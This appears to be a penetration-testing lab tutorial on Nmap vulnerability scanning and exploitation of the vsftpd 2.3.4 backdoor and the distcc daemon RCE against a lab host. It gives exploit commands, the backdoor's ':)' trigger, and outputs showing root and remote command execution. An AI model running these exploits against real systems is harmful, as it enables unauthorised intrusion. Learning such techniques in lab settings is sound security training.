# 💥 Exploiting Vulnerabilities with Nmap and Common Tools

Enumeration told us *what* is running. Now it's time to find out *what's broken* — and take advantage of it.

This module covers two distinct phases: **vulnerability scanning** (mapping known CVEs to the services we found) and **exploitation** (actually using those vulnerabilities to gain access). We'll hit two targets: the infamous vsftpd backdoor and the distcc daemon RCE.

---

## 1. 🔍 Scanning for Vulnerabilities with Nmap

Nmap isn't just a port scanner — through its **NSE (Nmap Scripting Engine)**, it can actively probe services for known vulnerabilities and even confirm exploitability. Let's run a full vulnerability scan:

```bash
nmap -sV -p 1-65535 --script vulnscan 192.168.100.30
```

Output (incomplete, only for port 21):

```bash
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
| vulners:
|   vsftpd 2.3.4:
|     	PACKETSTORM:162145	10.0	https://vulners.com/packetstorm/PACKETSTORM:162145	*EXPLOIT*
|     	EDB-ID:49757	10.0	https://vulners.com/exploitdb/EDB-ID:49757	*EXPLOIT*
|     	E9B0AEBB-5138-50BF-8922-2D87E3C046DD	10.0	https://vulners.com/githubexploit/E9B0AEBB-5138-50BF-8922-2D87E3C046DD	*EXPLOIT*
|     	CVE-2011-2523	10.0	https://vulners.com/cve/CVE-2011-2523
|     	CNVD-2020-46837	10.0	https://vulners.com/cnvd/CNVD-2020-46837
|     	CC3F6C15-182F-53F6-A5CC-812D37F1F047	10.0	https://vulners.com/githubexploit/CC3F6C15-182F-53F6-A5CC-812D37F1F047	*EXPLOIT*
|     	A41B5EAD-1A4C-56A6-97C6-1C58A1CF1E3B	10.0	https://vulners.com/githubexploit/A41B5EAD-1A4C-56A6-97C6-1C58A1CF1E3B	*EXPLOIT*
|     	817CD8FE-87C4-5FE8-B9B2-8CC64333A3F3	10.0	https://vulners.com/githubexploit/817CD8FE-87C4-5FE8-B9B2-8CC64333A3F3	*EXPLOIT*
|     	63A5C9A7-C241-5E83-9EE6-ABAB44BDD270	10.0	https://vulners.com/githubexploit/63A5C9A7-C241-5E83-9EE6-ABAB44BDD270	*EXPLOIT*
|     	5F4BCEDE-77DF-5D54-851A-0AE8B76458D9	10.0	https://vulners.com/githubexploit/5F4BCEDE-77DF-5D54-851A-0AE8B76458D9	*EXPLOIT*
|     	59BAFDCD-5027-5C82-BC59-FC7625DD81DB	10.0	https://vulners.com/githubexploit/59BAFDCD-5027-5C82-BC59-FC7625DD81DB	*EXPLOIT*
|     	50580586-73C4-5097-81CA-546D6591DF44	10.0	https://vulners.com/githubexploit/50580586-73C4-5097-81CA-546D6591DF44	*EXPLOIT*
|     	23DBF7D8-DD32-5D15-8D18-0CF069745409	10.0	https://vulners.com/githubexploit/23DBF7D8-DD32-5D15-8D18-0CF069745409	*EXPLOIT*
|_    	1337DAY-ID-36095	9.8	https://vulners.com/zdt/1337DAY-ID-36095	*EXPLOIT*
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2011-2523  BID:48539
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_      https://www.securityfocus.com/bid/48539
```

> 🔴 **CVSS 10.0** — the maximum score. The vsftpd backdoor is confirmed exploitable and already returns `uid=0(root)`. That's a full root shell, one command away.

Vulnerabilities on port 3306 (MySQL):

```bash
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| vulners:
|   cpe:/a:mysql:mysql:5.0.51a-3ubuntu5:
|     	SSV:19118	8.5	https://vulners.com/seebug/SSV:19118	*EXPLOIT*
|     	CVE-2017-15945	7.8	https://vulners.com/cve/CVE-2017-15945
|     	SSV:15006	6.8	https://vulners.com/seebug/SSV:15006	*EXPLOIT*
|     	CVE-2009-4028	6.8	https://vulners.com/cve/CVE-2009-4028
|     	SSV:15004	6.0	https://vulners.com/seebug/SSV:15004	*EXPLOIT*
|     	CVE-2010-1621	5.0	https://vulners.com/cve/CVE-2010-1621
|     	CVE-2015-2575	4.9	https://vulners.com/cve/CVE-2015-2575
|     	SSV:3280	4.6	https://vulners.com/seebug/SSV:3280	*EXPLOIT*
|     	CVE-2008-2079	4.6	https://vulners.com/cve/CVE-2008-2079
|     	CVE-2010-3682	4.0	https://vulners.com/cve/CVE-2010-3682
|     	CVE-2010-3677	4.0	https://vulners.com/cve/CVE-2010-3677
|     	CVE-2009-0819	4.0	https://vulners.com/cve/CVE-2009-0819
|     	CVE-2007-5925	4.0	https://vulners.com/cve/CVE-2007-5925
|_    	CVE-2010-1626	3.6	https://vulners.com/cve/CVE-2010-1626
```

Other interesting ports still worth keeping in mind:

```bash
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
```

> 💡 PostgreSQL, VNC, and Tomcat are all historically vulnerable in these versions and are worth revisiting in later phases.

---

### 🧭 Choosing the Right Vulnerability Scan Strategy

Not all Nmap vulnerability scripts are created equal. Each has a different philosophy — active vs. passive, online vs. offline, speed vs. accuracy. Here's a full comparison:

| 🔧 Feature | `vuln` (NSE category) | `vulners` script | `vulscan` script |
|-----------|----------------------|-----------------|-----------------|
| 📦 Type | Built-in NSE category | External NSE script | External NSE script |
| 🌐 Source | Included with Nmap | [github.com/vulnersCom/nmap-vulners](https://github.com/vulnersCom/nmap-vulners) | [github.com/scipag/vulscan](https://github.com/scipag/vulscan) |
| 🎯 Purpose | Actively detect known vulns | Map services to CVEs (API-based) | Match banners against local DB |
| 🔬 Detection Method | Active checks / exploitation | Vulners API lookup | Local DB pattern matching |
| 🌍 Internet Required | No | Yes | No |
| 📚 Coverage | Limited to implemented scripts | Very broad (huge Vulners DB) | Broad (depends on local DB) |
| 🎯 Accuracy | High — low false positives | Medium | Medium–low |
| ⚡ Speed | Slower (active probing) | Fast | Fast |
| ⚙️ Setup | None | Script download required | Script + DB download required |
| 🔄 Updates | With Nmap releases | Always current via API | Manual DB updates |
| 📴 Offline | ✅ Yes | ❌ No | ✅ Yes |

---

### 🗺️ When to Use Which Script

| 🎯 Scenario | ✅ Recommended | 💡 Why |
|-----------|--------------|-------|
| You need **confirmed exploitability** | `vuln` | Active checks — real results, not guesses |
| You're in a **pentest validation phase** | `vuln` | Verifies if a service is actually exploitable |
| You want a **quick CVE overview** | `vulners` | Fast API lookup with up-to-date intel |
| You need **latest vulnerability data** | `vulners` | Continuously updated online DB |
| You're scanning **many hosts quickly** | `vulners` | Lightweight compared to active probing |
| You're in an **air-gapped environment** | `vulscan` | No internet required |
| You want **broad passive enumeration** | `vulscan` | Banner matching — minimal noise on target |
| You want to **minimize false positives** | `vuln` | Real checks vs inference |

> **Quick rule of thumb:**
> - 🔴 `vuln` → accuracy over speed
> - 🟡 `vulners` → speed + fresh CVE data
> - 🔵 `vulscan` → offline / air-gapped environments

---

## 2. 🚨 Using Exploits to Gain Access

We've confirmed two highly exploitable services. Time to use them.

---

### 2.1 🐟 Exploiting vsFTPd 2.3.4 — CVE-2011-2523

**vsftpd** (Very Secure FTP Daemon) is the default FTP server on Ubuntu, CentOS, Fedora, NimbleX, Slackware, and RHEL. Widely deployed — and in this version, widely compromised.

#### 🐛 What Happened?

In July 2011, a malicious actor **replaced the official vsftpd 2.3.4 download** on the project's master site with a trojaned version containing a backdoor. This wasn't a coding flaw in vsftpd itself — it was a **supply chain attack**.

> 🙂 The trigger? A username ending in **`:)`** — a smiley face. Send that string during login and the backdoor opens a **root shell on port 6200**. No password needed.

The full CVE details: [https://vulners.com/cve/CVE-2011-2523](https://vulners.com/cve/CVE-2011-2523)

#### ⚡ Running the Exploit

Exploit code (Python): [https://www.exploit-db.com/exploits/49757](https://www.exploit-db.com/exploits/49757)

From the Kali Linux machine:

```bash
python3 49757.py 192.168.100.30
Success, shell opened
Send `exit` to quit shell
whoami
root
```

> 🎯 **Instant root.** One command, no credentials, no privilege escalation needed. This is the risk of running unpatched, decade-old software in production.

---

### 2.2 ⚙️ Exploiting distcc — CVE-2004-2687

**distcc** (Distributed C/C++ Compiler) is a tool for speeding up compilation by distributing build tasks across multiple machines on a network. Useful in large projects like the Linux kernel or GNOME — but catastrophically misconfigured here.

Nmap already flagged it during the vuln scan:

```bash
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
| distcc-cve2004-2687:
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|
|     Disclosure date: 2002-02-01
|     Extra information:
|
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
|     References:
|       https://distcc.github.io/security.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_      https://nvd.nist.gov/vuln/detail/CVE-2004-2687
```

> 🔑 We get `uid=1(daemon)` — not root yet, but enough for a foothold that we can escalate from.

Nmap ships with a dedicated NSE script for this CVE: [nmap.org/nsedoc/scripts/distcc-cve2004-2687](https://nmap.org/nsedoc/scripts/distcc-cve2004-2687.html)

> 💡 Nmap actually has **hundreds** of scripts for everything from vuln detection to brute-force to protocol fuzzing. Take a look: `ls /usr/share/nmap/scripts/`

Use the script and pass the command to execute as a parameter:

```bash
nmap -p 3632 192.168.100.30 \
  --script distcc-cve2004-2687 \
  --script-args="distcc-cve2004-2687.cmd='whoami'"
```

The command is executed remotely on the target:

```bash
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-06 20:02 +0200
Nmap scan report for 192.168.100.30
Host is up (0.00078s latency).

PORT     STATE SERVICE
3632/tcp open  distccd
| distcc-cve2004-2687:
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|
|     Disclosure date: 2002-02-01
|     Extra information:
|
|     daemon  # This is the output of the command
|
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2004-2687
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_      https://distcc.github.io/security.html
MAC Address: 00:0C:29:62:6D:C7 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
```

#### ⚠️ Limitation of the Nmap Approach

This method works, but it has a significant constraint: **it only executes one command per invocation**. Every time you want to run something new, you have to re-run the entire Nmap command with a different `cmd` argument. There's no interactive shell, no session, no persistence.

| ✅ Good for | ❌ Not good for |
|-----------|--------------|
| Proof-of-concept demonstrations | Interactive exploration |
| Confirming exploitability | Running command sequences |
| Single-command recon (`id`, `whoami`, `uname -a`) | Post-exploitation and pivoting |
| Quick CVE validation in reports | Maintaining access |

> 🔜 **Next step:** In the following module we'll use **Metasploit** to exploit the same distcc vulnerability — this time getting a proper interactive shell we can actually work with.
